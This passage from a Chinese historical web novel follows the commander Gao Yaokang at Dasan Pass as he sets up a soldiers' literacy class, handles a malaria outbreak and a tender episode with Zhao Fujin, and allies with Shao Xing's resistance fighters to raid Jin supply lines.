“等高宣抚回来,你得让他看到一个好好的你。别让他一回来就往军医那儿跑。”
杨蓁低下头。看着自己的肚子。手放在上面。轻轻地。
“我知道。”
十一月十六。仙人关。关墙上。
高尧康站着。看着北边。风很大,吹得他衣裳呼呼响。他站在那儿,跟一块石头似的。
王彦过来。
“高宣抚,大军准备好了。可以回大散关了。呼延通那边来消息,说金兵没动静,就等着咱们回去。”
高尧康点点头。
他没动。
王彦说:“您还有事?”
高尧康说:“想点事。”
王彦站了一会儿。走了。靴子踩在石头上,咔咔响。
高尧康一个人站着。
风很大。吹得旗子啪啪响。旗子上写着“高”字,被风吹得鼓起来。
他忽然想起杨蓁。想起她的脸。想起她的手。想起她说的那句话。
“我跟了你四年。没拖过你一次后腿。”
他笑了笑。笑得很轻。
然后他转过身。
“传令。回大散关。”
那天晚上。利州。中军大营。
杨蓁站在帐门口。看着北边的天。
天黑了。什么也看不见。星星出来了,一颗一颗的,亮晶晶的。
但她知道,他在那边。
正在往回走。骑着马,带着兵,翻山越岭。
她的手,放在肚子上。轻轻地。
“等你回来。”
第一百一十六章 耗着就耗着
大散关。
高尧康回来了。
呼延通带着人迎出去三十里。看见他,笑得跟捡着钱似的。
“活着回来了?”
高尧康说:“活着。”
呼延通说:“仙人关那边?”
高尧康说:“赢了。完颜斜也跑了,裤衩都差点没穿。”
呼延通点点头。
“那就行。走,回去喝口热乎的。”
两个人并排往关里走。雨刚停,路上全是泥,靴子踩得吧唧吧唧响。
呼延通说:“完颜娄室这半个月没动。就蹲在那儿。天天练兵,练得还挺认真。不知道想干嘛。我估摸着,是在等援兵。”
高尧康说:“他也累了。死了那么多人,得缓一缓。他那边伤兵也不少。”
呼延通说:“咱们也缓?”
高尧康说:“缓。”
他看着那座关。看着关墙上的兵。看着那些修了一半的工事。墙头上有人在搬石头,有人在和泥,忙忙碌碌的。
“把关修好。把兵养好。把探马撒出去。别让他摸过来。”
十一月二十二。大散关。关墙上。
雨下起来了。
不大。淅淅沥沥的,跟老天爷在那儿漏似的。一下就是一整天,没完没了。
高尧康站在关墙上,看着北边。蓑衣湿透了,水顺着衣角往下滴。
什么都看不见。全是雾。白茫茫的,跟糊了一层纸似的。
呼延通过来。披着蓑衣,戴着斗笠。
“高宣抚,这雨要下多久?”
高尧康说:“不知道。山里就这样。一下起来就没完。跟老太太裹脚布似的,又臭又长。”
呼延通说:“那咱们就这么干等着?蹲这儿发霉?”
高尧康说:“等着。”
他转过身。雨打在脸上,他也不躲。
“把探马派出去。往陕西。往京西。去找那些还在打的宋军残部。去找那些抗金的义军。能收拢的收拢,能联络的联络。”
呼延通说:“是。”
高尧康说:“再派个人去襄阳。找王善。问问他那边怎么样了。八万人围着,他扛不扛得住。”
呼延通说:“是。我这就去办。”
十一月二十五。大散关。营房里。
雨还在下。外头哗哗的,屋里潮得能拧出水来。
兵们窝在营房里,没事干。有的在睡觉,呼噜打得震天响。有的在发呆,盯着房顶看。有的在吵架,为了一口水能吵半个时辰。
高尧康走进去。靴子踩在地上,吧唧吧唧的。
兵们看见他,赶紧站起来。有人鞋都穿反了。
高尧康说:“闲着?”
没人敢说话。有人缩了缩脖子。
高尧康说:“闲着就学点东西。”
他让人搬来一块木板。立在墙上。木板是新的,还带着木头的香味。
又拿来一盒炭笔。笔是格物院那边送的,说是宇文虚让人做的,写字顺滑。
他在木板上写了几个字。
“一。二。三。四。五。”
写得端端正正。
他看着那些兵。一个一个看过去。
“认识吗?”
有人摇头。有人点头。有人不说话,低着头。
高尧康说:“不认识的,过来。我教你们。不收学费。”
那天下午,他教了五十个兵认字。从一到五,写了又擦,擦了又写。
教完,他说:“明天接着学。学到认全为止。”
一个老兵问。四十来岁,满脸胡子,手上全是茧子。
“高宣抚,咱们当兵的,认字干嘛?拿刀砍人就行了呗。”
高尧康看着他。
“认了字,能看懂战报。能看懂地图。能看懂命令。不用等人念给你听。”
他顿了顿。
“认了字,还能看懂自己是谁。知道自己为什么打仗。知道自己打的是谁。”
那老兵愣了一会儿。嘴张着。
然后他说:“那我学。学了能看懂告示上写的啥。”
十一月二十八。大散关。识字班开课了。
三百多个兵。挤在一间大屋子里。坐在地上,蹲着,站着。跟一筐土豆似的。手里都拿着一截炭笔,一块木板。木板是工坊那边现做的,还带着毛刺。
高尧康站在前头。木板挂在他身后。
木板上写着今天的字。
“大。宋。军。人。”
他一个一个教。教读音,扯着嗓子喊。教意思,用手比划。教写法,一笔一画。
教完,让兵们自己写。
有人在木板上划。歪歪扭扭的,跟蚯蚓爬似的。但很认真,舌头都伸出来了。有人写完了,举起来看,自己都笑了。
王彦站在门口看。看了一会儿,走进来。靴子踩得咚咚响。
“高宣抚,你这是要把他们变成秀才?考科举?”
高尧康说:“秀才打不了仗。但认字的兵,比不认字的强。十个不认字的,打不过五个认字的。”
王彦说:“强在哪儿?”
高尧康说:“强在知道为什么死。知道为什么活。”
十二月初一。大散关。第一份战地小报贴出来了。
贴在营房门口。贴在关墙上。贴在食堂里。用浆糊糊的,风一吹,哗哗响。
上头写着几行字。字挺大,隔老远就能看见。
“仙人关大捷。斩首两千。金将完颜斜也逃跑。光着脚跑的。”
“利州路稳定。粮草充足。后方无恙。大家放心。”
“宗留守。开封人。守城一年。病逝任上。追赠观文殿学士。是个好官。”
“李二狗。真定人。土门关一战,杀敌七人。汴京巷战,杀敌五人。仙人关之战,重伤不退。伤重而亡。家里还有老娘,联号养着。”
兵们围在墙前头,看那张纸。挤得水泄不通。
有人认字。有人不认。认字的念给不认字的听。声音嗡嗡的,跟一群蜜蜂似的。
念到李二狗那一段,有人哭了。一个年轻兵,蹲在地上,肩膀一抽一抽的。
“二狗……我认识他……真定出来的……跟我一起当的兵……一起吃的饭……他还欠我二两银子没还……”
旁边的人拍拍他。手重,拍得啪啪响。
“别哭了。他死得值。杀了好几个金兵呢。”
那天晚上。高尧康在帐中写小报。灯芯噼啪响着,他低着头,一笔一画地写。
王彦进来。带着一身湿气。
“高宣抚,外头那些兵,今天都不闹了。也不吵架了。都在说李二狗的事。说他是条汉子。”
高尧康没抬头。笔没停。
“嗯。”
王彦说:“你这招,比打骂管用。打骂他们记不住,这个他们记住了。”
高尧康说:“他们需要知道,自己人没白死。死了有人记得。活着有人养着。”
十二月初五。雨更大了。跟天漏了似的。
营房里开始有人发烧。
一开始是一两个。然后是五六个。然后是十几个。跟传瘟疫似的。
林素娥来了。穿着蓑衣,浑身湿透。头发贴在脸上,跟水鬼似的。
“高宣抚,是疟疾。”
高尧康的脸变了。手里的笔掉在桌上。
“多少人?”
林素娥说:“今天查出来的,十七个。还有十几个发烧的,不知道是不是。得观察。”
高尧康说:“能治吗?”
林素娥说:“能。但得隔离。得有药。得有人照顾。不能混在一起住,不然全营都得传上。”
高尧康说:“要什么,你说。要啥给啥。”
林素娥说:“隔离的地方。干净的铺盖。热水。药材。人手。还得有大夫。”
高尧康转身。动作很快。
“王彦。腾两间大屋子。要干净的。离营房远一点。通风好的。”
“呼延通。派人去后方。找苏檀儿。要药材。要大夫。要多派人手。快马加鞭。”
“刘实。你带人,把发烧的兵全找出来。一个一个查。一个不漏。查出来就送隔离营。”
三个人跑了出去。靴子踩在水里,啪啪响。
那天晚上,隔离营建起来了。
两间大屋子。打扫得干干净净。地上撒了石灰,白花花的。铺上新草席。放上热水盆,热气往上冒。
十七个发烧的兵,抬进去。有的还能走,有的躺着,有的在发抖。
林素娥带着她的医女,一个一个查。摸额头,看舌头,把脉。动作很快,但很轻。
赵福金也在。
她穿着粗布衣裳,头发湿着,脸上分不清是雨水还是汗水。袖子挽到胳膊肘,手上沾着药渣。
林素娥看了她一眼。
“你也去歇歇。你三天没睡了。”
赵福金说:“我不累。”
她端着药碗,给一个兵喂药。手很稳。
林素娥没再说话。
十二月初七。疟疾扩散了。
四十七个兵。加上之前那十七个,一共六十四个。
隔离营住满了。有人躺在草席上,有人在咳,有人在发冷,牙齿打架。
林素娥三天没睡。眼睛红着,跟兔子似的。手在抖,但还在忙。从一个病人走到另一个病人,摸额头,喂药,换布。
赵福金也在忙。递药。端水。换布。扶人上厕所。她不知道自己熬了多久。只知道天亮了又黑,黑了又亮。眼皮跟灌了铅似的。
十二月初九。赵福金倒了。
她正端着药碗,忽然眼前一黑。天旋地转。碗掉在地上,碎了。药汁洒了一地。
旁边的人扶住她。
“公主!公主!你怎么了!”
林素娥跑过来。摸她的额头。烫得吓人。手放上去,跟摸火炭似的。
“快,抬到那边去。别耽搁。”
十二月初九。夜。隔离营。一角。
赵福金躺在那儿。脸烧得通红,跟煮熟的虾似的。嘴唇干裂着,起了皮。眼睛闭着,眉头皱着,好像在做什么梦。
林素娥在给她喂药。喂不进去。流出来。顺着嘴角往下淌。
高尧康站在旁边。看着。
“我来。”
他接过药碗。坐下。凳子很低,他蹲着。
把赵福金的头轻轻扶起来。靠在自己胳膊上。她的头发湿漉漉的,贴在他手上。
用勺子舀了一点药。吹了吹。送到她嘴边。
她不张嘴。牙关咬得紧紧的。
他轻轻捏她的下巴。手很轻,怕弄疼她。让嘴张开一点。把药灌进去。
灌了半勺。流出来半勺。顺着下巴滴在他腿上。
他又舀一勺。再灌。这次进去的多,流出来的少。
一碗药,灌了半个时辰。他的手一直托着她的头,没放下来。
灌完了。他把她的头放下去。盖好被子。被子掖到下巴底下。
坐在旁边。看着她。她的脸烧得红红的,呼吸很重,胸口一起一伏。
林素娥走过来。
“高宣抚,你歇歇。我来守着。你去睡一会儿。”
高尧康说:“不用。你去看别的病人。他们比我需要你。”
林素娥看着他。想说什么。没说。
走了。靴子踩在地上,轻轻的。
第一百一十七章 巴山夜雨
夜里。
赵福金的烧更重了。整个人跟烧着了似的,被子底下直冒热气。脸上红得吓人,嘴唇干裂起皮,呼吸又急又重,胸脯一起一伏的。
她开始说胡话。声音很轻,断断续续的,跟从嗓子眼里挤出来似的。
“别过来……别过来……”手在空中乱抓,像在赶什么东西。
“娘……娘……我想回家……”声音带着哭腔,跟小孩儿似的。
“高尧康……高尧康……”喊了两声,又没动静了。
高尧康坐在旁边。握着她的手。手很烫,烫得跟火炭似的。很干,干得像树皮。骨头硌手,一根一根的,瘦得厉害。
他不知道说什么。就那么坐着。灯芯噼啪响了一下,火苗晃了晃,照得她的脸一明一暗。
坐了一夜。中间林素娥进来过一次,摸了摸赵福金的额头,又量了量脉,看了高尧康一眼,没说话,走了。又端了一碗药进来,搁在边上。
快天亮的时候,烧退了。
赵福金睁开眼睛。眼珠子转了转,慢慢聚焦。看见高尧康。
他坐在旁边。脸上全是疲惫,跟被人揍了一顿似的。眼睛红着,布满血丝。胡子拉碴的,下巴上一片青黑。手还握着她的手,没松开过。
她愣了一下。
然后眼泪流下来了。顺着脸颊往下淌,淌进耳朵里。
高尧康看着她。嗓子有点哑。
“醒了?”
赵福金点头。说不出话。嗓子跟堵了东西似的。
高尧康说:“饿不饿?”
赵福金摇头。
高尧康说:“那再躺一会儿。”
他想站起来。手被握住了。很紧,指甲都快掐进他手背里。
赵福金握着他的手。不松开。眼睛盯着他,跟怕他跑了似的。
他看着那只手。又看着她的脸。
她脸上全是泪。枕头湿了一片。
“我以为我要死了。”她说。声音又轻又哑,跟砂纸磨过似的。
高尧康没说话。
“我梦见我娘了。梦见我爹了。梦见汴京了。梦见那些金兵……”
她哭起来。哭得浑身发抖。被子底下整个人都在颤。
“我不想死……我不想死在这儿……”
高尧康坐下。看着她。
“你没死。”
赵福金说:“差一点。”
高尧康说:“差一点就是没死。差一万点也是没死。”
赵福金愣了一下。眼泪还挂在脸上。
然后她忽然撑起身子。动作很猛,被子滑下来。她抱住他。
抱着他的脖子。脸埋在他肩膀上。胳膊勒得很紧,跟怕掉下去似的。
哭。哭得浑身都在抖。肩膀一抽一抽的。
高尧康的手抬起来。停了一下。然后落下去,落在她背上。轻轻地拍。跟哄孩子似的。
她哭了很久。哭得没力气了。胳膊松了一点,但还是抱着,不松手。
然后她忽然抬起头。
看着他。眼睛红红的,肿得跟桃似的。脸上全是泪痕,乱七八糟的。
然后她亲了他。
亲在他嘴上。很短。很轻。嘴唇干裂,蹭在他嘴上,跟砂纸似的。
亲完,她看着他。眼泪还在流。从眼角淌下来,顺着脸颊滴在他手上。
“我要死了怎么办?”
高尧康看着她。
看了很久。外头雨还在下,打在帐篷上,噼噼啪啪的。
然后他伸手。把她脸上的泪擦了擦。手很糙,蹭得她脸有点红。擦不完。越擦越多。跟泉眼似的,擦了又冒出来。
他说:“你不会死。”
赵福金说:“你怎么知道?”
高尧康说:“我不让你死。”
赵福金愣了一下。嘴张着,没合上。
然后她忽然笑了。笑得很轻。带着眼泪。脸上又哭又笑,跟小孩儿似的。
她又抱住他。脸埋在他肩膀上。
“高尧康。”
“嗯。”
“你别走。”
高尧康没说话。
手在她背上。轻轻地拍。一下,一下,一下。
他坐在那儿,让她抱着。外头雨声很大,帐篷里很安静。
抱着抱着,她睡着了。呼吸慢慢匀了,手也松了。脸上还有泪,但睡得很安稳。嘴角微微翘着,跟做了什么好梦似的。
他把她放下去。动作很轻,跟放鸡蛋似的。盖好被子。被子掖到下巴底下。
站起来。看着她。
看了一会儿。她的睫毛上还挂着泪珠,亮晶晶的。
他转身走出去。
外头还在下雨。淅淅沥沥的,打在帐篷上,打在树叶上,打在地上。到处都是水,到处都是泥。
他站在雨里。让雨淋着。雨水顺着头发往下淌,流进领子里,凉飕飕的。
淋了很久。
十二月十三。疟疾控制住了。
林素娥站在高尧康面前,手里拿着张纸,上头记着数字。她瘦了一圈,眼窝凹下去,颧骨突出来,跟换了个人似的。但眼睛还是亮的。
“从昨天起,没有新增的病例。之前的那些,死了九个。剩下的,都退了烧。五十五个,都能吃饭了。”
高尧康点点头。
林素娥看着他。犹豫了一下。
“高宣抚,公主那边……”
高尧康说:“她好了。”
林素娥说:“我知道。我是说……”
她顿了顿。手指头在纸上搓了搓。
“她这几天,一直在找你。烧还没退的时候,就喊你的名字。退了烧,还是喊。醒着的时候也喊。”
高尧康没说话。
林素娥说:“你去看看她吧。她嘴上不说,心里惦记。”
十二月十三。下午。隔离营。
赵福金坐在铺上。看着外头的雨。雨小了点,稀稀拉拉的。她穿着一身干净衣裳,头发也梳过了,整整齐齐的。脸上还有点苍白,但比前几天好了很多。
门开了。高尧康走进来。
她看见他。眼睛亮了。跟点了灯似的。
然后她低下头。手指头绞着衣角,绞来绞去。
不说话。
高尧康走过去。坐在她旁边。铺上铺着草席,有点硬。
两个人坐着。看着外头的雨。雨滴从屋檐上滴下来,一滴一滴的,打在石头上。
赵福金忽然说:“那天的事,你别放在心上。”
高尧康看着她。
赵福金说:“我发烧了。糊涂了。说了不该说的话,做了不该做的事。”
她低着头。不看他。耳朵尖红了。
高尧康说:“你没糊涂。”
赵福金抬起头。
看着他。眼睛里有东西在闪。
高尧康说:“你说的那些话,我知道是真的。”
赵福金愣住了。嘴张着,没合上。
高尧康说:“你做的那些事……”
他顿了顿。
“我也知道是真的。”
赵福金看着他。眼睛里有泪在打转,亮晶晶的。
高尧康说:“赵福金。”
“嗯。”
“我有杨蓁了。”
赵福金的眼泪流下来。一滴一滴的,顺着脸颊往下淌。
她点头。
“我知道。”
高尧康说:“我对你……”
赵福金打断他。声音有点急。
“别说了。”
她擦眼泪。擦不完。袖子都湿了。
“我知道。我都知道。”
她站起来。动作有点猛,身子晃了一下。走到门口。背对着他。肩膀微微抖着。
“你走吧。”
高尧康站起来。
看着她。她的背影很瘦,衣裳空荡荡的。
站了一会儿。
然后他走了。脚步声在雨里慢慢远去。
门关上。
赵福金一个人站在那儿。靠着门框。
雨还在下。从屋檐上滴下来,打在石头上。风刮过来,带着湿气,凉飕飕的。
打在她脸上。分不清是雨水还是眼泪。
十二月十五。雨停了。
宇文虚来了。从成都赶来的,浑身是泥,跟泥猴似的。靴子上全是泥巴,衣裳也脏得不成样子。但眼睛亮得跟灯泡似的,放着光。
“高宣抚!我看了!看了那些炮打的痕迹!”他蹲在地上,拿树枝画图,画得飞快。
“仙人关那边,咱们的炮打得太近了。三百步。金兵冲到二百步,炮就够不着了。就差那一百步,够不着就是够不着。”
他抬起头。眼睛亮得吓人。
“得改。炮管加长。加长一倍。射程就能到五百步。五百步,够他们喝一壶的。”
高尧康说:“能造吗?”
宇文虚说:“能。但得试。得改。得花时间。铜的、铁的,都得试。试不好就炸,炸了就重来。得炸几回才能成。”
高尧康说:“那就试。要什么给什么。要铜给铜,要铁给铁,要人给人。”
宇文虚笑了。笑得跟捡着金元宝似的。
“有你这句话就行。我回去就干。”
十二月十八。探马回来了。
从陕西回来的。跑了半个月,瘦了一圈,浑身是土,跟从土里刨出来似的。嘴唇干裂,嗓子都哑了。
“高宣抚!找到了!”他喝了口水,咕咚咕咚的,喝完了喘了口气。
“陕西那边,还有人在打。好几股。大的几千人,小的几百人。都在山里藏着。金兵一进山,他们就打。金兵一出来,他们就跑。跟捉迷藏似的。”
高尧康说:“能联络上吗?”
那探马说:“能。有几股愿意跟咱们通气。还给了信物。”
他从怀里掏出几块东西。破布条,上头画着记号。木牌子,刻着字。乱七八糟的,什么都有。
高尧康看着那些东西。翻来覆去地看。
探马说:“还有一股,叫红巾军。人最多。打仗最猛。金兵都怕他们。听见‘红巾’两个字就跑。”
高尧康说:“首领是谁?”
探马说:“姓邵。叫邵兴。原来是种师道部下的。种师道死了,他就带着人进了山。好几年了,一直在山里打。”
他顿了顿。
“这人,能打。纪律也好。不抢老百姓。老百姓都帮他们。金兵一进山,老百姓就给红巾军报信。金兵还没到,红巾军先埋伏好了。”
高尧康的眼睛亮了。亮得跟灯似的。
“邵兴。种师道的兵。”
他站起来。走到地图前。手指头在陕西那块地方画了个圈。
“能找到他吗?”
探马说:“能。就是山路难走。得绕。得翻两座山,过一条河。”
高尧康说:“派人去。带我的信。带宗留守的信物。问他愿不愿意跟咱们联手。问他缺什么,要什么,尽管说。”
探马说:“是。”
十二月二十。襄阳的消息回来了。
王善的信。不长。但字字都重。信纸上还有血迹,不知道是他的还是别人的。
“襄阳还在我们手里。金兵围了一个月,没打下来。我死了一千多兄弟,城墙塌了好几处。但他们人多,我人少。撑不了太久。”
“高宣抚,你那边要是能腾出手来,给我送点东西。火药。箭矢。吃的。什么都行。刀也行,枪也行,布也行。我啥都要。”
底下还有一行小字。写得歪歪扭扭的。
“陈寿昌那狗日的,跑了。往北跑了。金兵围城之前就跑了。要是让我逮着他,非把他剁了不可。把他脑袋拧下来当球踢。”
高尧康看着那封信。看了很久。
然后他抬起头。
“给王善回信。东西给他送。火药。箭矢。粮食。能送多少送多少。告诉他,撑住。撑住了,就有援兵。”
王彦说:“从哪儿走?路不好走。”
高尧康说:“从利州走。绕过去。路远,但安全。金兵堵不着。”
王彦说:“是。”
十二月二十二。大散关。识字班结业了。
第一批学员,三百多个人。能写自己的名字了。歪歪扭扭的,但能认出来。能看懂简单的战报了。能算十以内的数了,知道自己领多少饷了。
高尧康站在他们面前。看着那些人。一张张脸,黑黢黢的,瘦巴巴的,但眼睛都亮。
“从今天起,你们不是睁眼瞎了。”
底下有人笑。笑得挺憨的。
高尧康说:“认了字,就得用。以后每天的小报,自己看。看不懂的,问别人。教别人。教会了有赏。”
他看着那些人。
“你们是第一批。以后还有第二批,第三批。等咱们打回去的那天,每个人都能看懂命令,都能看懂地图。”
“到时候,金兵拿什么跟咱们打?”
底下有人喊:“打不过!”
高尧康说:“对。打不过。”
那天晚上。高尧康站在关墙上。
雨停了。天晴了。月亮出来了。又大又圆,照得关墙上跟白天似的。
杨蓁不在。赵福金的事,他不知道怎么跟杨蓁说。嘴张了几回,又闭上了。
他看着北边。很远的地方,有灯火。星星点点的。那是金兵的营寨。火光一晃一晃的。
他忽然想起赵福金那天说的话。
“我要死了怎么办?”
他说:“我不让你死。”
他说了。也做了。
但那之后呢?
他不知道。
站了很久。风很大,吹得他脸疼。衣裳被风吹得呼呼响。
他转身,走下去。靴子踩在石头上,咔咔响。
路过医营的时候,他停了一下。
里头有光。有人在说话。有人在笑。
他没进去。
站了一会儿。
走了。
第一百一十八章 联合偷袭
大散关。雪
雪下得跟筛糠似的,一片一片往脸上砸,砸得人睁不开眼。风刮得呜呜响,跟鬼叫似的。
高尧康站在关墙上,看着北边。蓑衣上全是雪,整个人跟雪人成精了似的。
王彦站在他旁边。缩着脖子,搓着手。
“完颜娄室那边,有消息了。”
高尧康没动。
王彦说:“病了。病得很重。金兵营里都在传,说他要不行了。半个月没露面,营里的事都是副将在管。底下的人都在嘀咕,说是不是要死了。”
高尧康转过头。雪落在眉毛上,他也不擦。
“真的?”
王彦说:“探马说的。从他们那边跑回来的溃兵,亲口讲的。说完颜娄室躺在床上起不来,脸蜡黄蜡黄的,跟死人似的。营里的大夫一天进去三回,出来的时候脸色比病人还难看。”
高尧康沉默了一会儿。雪花在他面前飘。
然后他忽然笑了。笑得跟狼似的。
“天助我也。老天爷开眼了。”
他转身往下走。靴子踩在雪上,咯吱咯吱响。
“开会。把人都叫来。”
下午。大帐里。
人齐了。王彦。呼延通。刘实。吴玠。还有几个新提拔的指挥使。一个个裹得跟熊似的,缩在凳子上。
高尧康站在地图前头。身上还带着雪,滴着水。
指着图上的一块地方。手指头点在上头,咚咚响。
“京兆府。伪齐的西京。金兵在陕西的老巢。完颜娄室的老窝。”
他看着那些人。一个一个看过去。
“完颜娄室病了。金兵群龙无首。主将躺在帐里哼唧,底下的人不知道听谁的。咱们的机会来了。过了这村就没这店。”
王彦说:“打?”
高尧康说:“不直接打。直接打打不动。那是人家老窝,城墙厚着呢。”
他指着图上的一条线。手指头从大散关划出去,绕了个大弯,进了京兆府南边。
“你带三千人。从这儿走。翻山。绕过去。进京兆府路。走小路,别走大路。金兵堵不着你。”
王彦看着那条线。眉头皱着。
“三千人?进去干嘛?”
高尧康说:“找人。”
他从怀里掏出一封信。信封上还带着体温。
“邵兴。红巾军首领。种师道的老部下。现在在京兆府南边的山里活动。打了三年了,金兵拿他没办法。”
他把信递给王彦。
“带着我的信。带着宗留守的信物。找到他。跟他联手。告诉他,从今天起,他不是孤军。”
王彦接过信。揣进怀里。
“联手之后呢?”
高尧康指着图上那些点。密密麻麻的,跟痦子似的。
“金兵在京兆府周围,有十几个据点。大的上千人,小的几百人。粮道有三条。一条往东,一条往西,一条往南。全靠这些粮道活着。”
他看着王彦。眼睛很亮。
“你进去之后,跟邵兴一起。打这些据点。断这些粮道。打完了就跑。跑了再打。让他们睡不着觉,吃不上饭,出不了门。让他们连尿都尿不踏实。”
王彦的眼睛亮了。亮得跟灯似的。
“懂了。打游击。”
高尧康说:“还有一条。”
王彦等着。
高尧康说:“别硬拼。你的人少。邵兴的人也不多。硬拼拼不过。就扰。就躲。就偷袭。打完就跑,跑完再打。跟苍蝇似的,嗡嗡嗡,他打不着你,烦也烦死他。”
他看着王彦。
“你的任务,不是拿下京兆府。是把金兵拖住。让他们抽不出手来管别的地方。拖住一个月,就算赢。拖住两个月,算大赢。”
王彦点点头。脸上的肉绷着。
“明白。恶心死他们。”
高尧康说:“什么时候出发?”
王彦说:“三天后。雪小点就走。雪太大,翻不了山。”
高尧康说:“行。”
王彦走了。走得很快,带起一阵风。
呼延通凑过来。搓着手。
“高宣抚,那我呢?我干点啥?”
高尧康说:“你留着。继续盯着完颜娄室。他要是真不行了,咱们就往前压一压。吓唬吓唬他们。”
呼延通咧嘴笑了。
“行。吓唬人我在行。”
十二月二十八。王彦出发了。
三千人。全是精锐。穿得厚厚实实,裹得跟棉球似的。扛着枪,背着弩,牵着马。每个人腰里别着三天的干粮。
高尧康送到关门口。
王彦翻身上马。马打了个响鼻,原地踏了几步。
“高宣抚,等我好消息。过几天给你送个大礼。”
高尧康说:“活着回来。别逞能。”
王彦笑了。笑得挺大声。
“死不了。我命硬。”
他一夹马肚子,走了。
三千人跟在后头,消失在雪地里。靴子踩在雪上,咯吱咯吱的,一会儿就没声了。
高尧康站在那儿,看着那些背影。站了很久。雪落在他肩上,他也不拍。
建炎三年正月初五。京兆府路。秦岭深处。
王彦带着人,在山里走了八天。
雪深的地方,没过膝盖。一脚踩下去,拔出来费老劲了。马走不动,人更走不动。每天只能走三十里,跟蜗牛爬似的。晚上冻得跟孙子似的,挤在一起取暖。
第九天,他们找到了邵兴的人。
是个哨兵。躲在树上,浑身是雪,跟树杈子似的。看见他们,差点射箭。弩都端起来了。
王彦喊:“我是王彦!高宣抚的人!来找邵将军的!别射!射了没人赔!”
那哨兵看了半天。从上到下打量了一遍。从树上滑下来。树枝上的雪哗啦啦掉了一地。
“等着。”
跑了。跑得挺快,一会儿就没影了。
半个时辰后,来了一队人。领头的是个汉子。三十多岁。黑,瘦,眼睛很亮,跟两颗星星似的。穿着破皮甲,皮甲上好几道口子。腰里别着刀,刀把子磨得锃亮。
他走到王彦面前。打量他。上上下下看了好几遍。
“王彦?蜀地的那个王彦?土门关的那个王彦?”
王彦说:“你认识我?”
那汉子笑了。笑得挺憨的。
“土门关。汴京巷战。谁不认识?你的名声,传到山里来了。”
他抱拳。动作很利落。
“邵兴。”
王彦还礼。
“邵将军。”
两个人对望着。谁也不说话。雪落在两人中间。
然后邵兴忽然说:“走。进寨子。外头冷,冻坏了没法跟高宣抚交代。”
寨子建在山坳里。不大。几百间窝棚,歪歪扭扭的,跟要倒似的。挤着几千人。有老有小,有男有女。兵和家属混在一起,分不清谁是打仗的谁是不打仗的。
邵兴领着王彦往里走。路上的人看见王彦,都停下手里的活,盯着看。小孩光着脚,在雪地里跑,脚丫子冻得通红。
王彦看着那些人。有的拿着刀,有的拿着枪,有的拿着锄头。一个老太太蹲在窝棚门口,拿石头砸核桃。一个年轻女人抱着孩子,孩子哭得哇哇的。
他忽然想起土门关。那些老百姓。那些跟着队伍走的人。
邵兴在旁边说:“都是逃难的。没地方去。跟着我。能打仗的打仗,不能打仗的干活。”
王彦说:“多少人?”
邵兴说:“能打仗的,三千多。老的小的,两千多。”
他顿了顿。声音低下去。
“不够吃。不够穿。不够药。快撑不下去了。再撑两个月,就得饿死人。”
王彦没说话。攥了攥拳头。
进了帐子。坐下。帐子里冷得跟冰窖似的,但比外头强点。
邵兴看着他。
“高宣抚的信呢?”
王彦从怀里掏出来。递过去。手冻得有点僵,掏了半天才掏出来。
邵兴看了一遍。又看了一遍。手指头有点抖。
然后他抬起头。看着王彦。
眼睛里有东西在闪。亮晶晶的。
“高宣抚说,要跟我联手?”
王彦说:“对。联手。一起打金兵。”
邵兴说:“他信我?他不怕我是土匪?”
王彦说:“宗留守信你。他就信你。宗留守看人不会错。”
他从怀里掏出那块铜牌。宗泽的铜牌。上头刻着一个“宗”字。铜牌被他的体温捂热了,拿在手里沉甸甸的。
邵兴看见那块牌子,愣住了。眼睛直勾勾地盯着。
他接过来。翻来覆去地看。手指头摸着那个“宗”字。
然后他站起来。走到帐门口。对着外头喊:
“来人!杀羊!喝酒!把那头最大的羊杀了!”
外头有人应了一声。跑开了。
王彦愣住了。嘴张着。
邵兴转过来。看着他。眼睛红了。红得厉害。
“王将军,这三年,没人信过我。没人帮过我。没人给我送过一封信。金兵围我,伪齐打我,朝廷不管我。”
他的声音有点抖。
“今天,高宣抚派人来了。带着宗留守的牌子来了。”
他走回来。站在王彦面前。站得笔直。
“我邵兴,从今天起,跟高宣抚干了。他说打哪儿,我就打哪儿。他说怎么打,我就怎么打。”
正月初八。第一次行动。
邵兴的人探到消息。金兵有一队运粮的,明天要从山脚下过。三百多人,一百多车粮。押粮的官是个老油子,走了三回了,一回都没出过事,以为这条路安全。
王彦和邵兴趴在雪地里,看着那条路。雪很厚,趴上去冰凉冰凉的,透心凉。
邵兴说:“这条路,他们走了三回了。每回都是这个时间。以为没人敢动他们。这回让他们长长记性。”
王彦说:“那就动。”
邵兴说:“怎么打?”
王彦说:“两头堵。中间打。”
他指着路的两头。手指头在雪地上划了两道印子。
“你带人,堵前头。我带人,堵后头。等他们进了中间,就动手。跑不了。”
邵兴点点头。眼睛亮亮的。
“行。听你的。”
那天夜里。雪下得更大了。铺天盖地的,跟老天爷往下倒似的。
运粮队来了。三百多人,推着车,赶着马。走得很慢,车轮子陷在雪里,推着费劲。押粮的官骑着马,缩着脖子,骂骂咧咧的。
走到一处山坳。两边是陡坡,跟刀削的似的。前头的忽然停了。后头的还在往前挤,撞在一起,乱成一团。
王彦站起来。雪从他身上滑下去。举起手。
往下一砍。
两边坡上,箭飞下去。嗖嗖的。火铳响起来。砰砰砰的,在山谷里来回响。
金兵乱了。有的往两头跑。两头都堵着,前面有人,后面也有人。
跑不掉。有人跪下,有人扔刀,有人趴在地上不敢动。
打了半个时辰。三百多人,死了二百多。剩下的投降了。雪地上全是血,红的白的,看着扎眼。
粮车全留下了。一百多车,堆得跟小山似的。
王彦站在那些粮食前头,看着邵兴的人往寨子里搬。扛的扛,抬的抬,跟过年似的。有人一边扛一边笑,笑得跟孩子似的。
邵兴走过来。脸上带着笑,笑得跟捡着金元宝似的。
“王将军,这招管用。两头一堵,中间一打,一个都跑不了。”
王彦说:“这才刚开始。以后有的是活干。”
正月十五。元宵节。
京兆府附近,又烧起来了。
这次是据点。金兵的一个小寨子。一百多人守着。建在山包上,四周砍了树,光秃秃的。
王彦和邵兴带着人,夜里摸过去。雪地里趴了一个时辰,冻得腿都麻了。
先用弩射死哨兵。嗖的一箭,哨兵从墙上栽下来,一点声都没有。然后翻进去。见人就砍。
打了一个时辰。寨子拿下了。金兵死了八十多。剩下的跑了,连鞋都没穿就跑。
寨子里的粮食,兵器,全搬走。搬不走的,烧了。火烧起来,半边天都红了。
天亮的时候,他们已经在三十里外的山上了。金兵追过来的时候,连脚印都找不着。
正月二十。又打了一仗。
这次是伏击。金兵的一队巡逻兵。五十多人。走在山道上,说说笑笑的,以为没人。
王彦的人两边一夹,一个都没跑掉。全歼。尸体扔在山沟里,等开春才能被人发现。
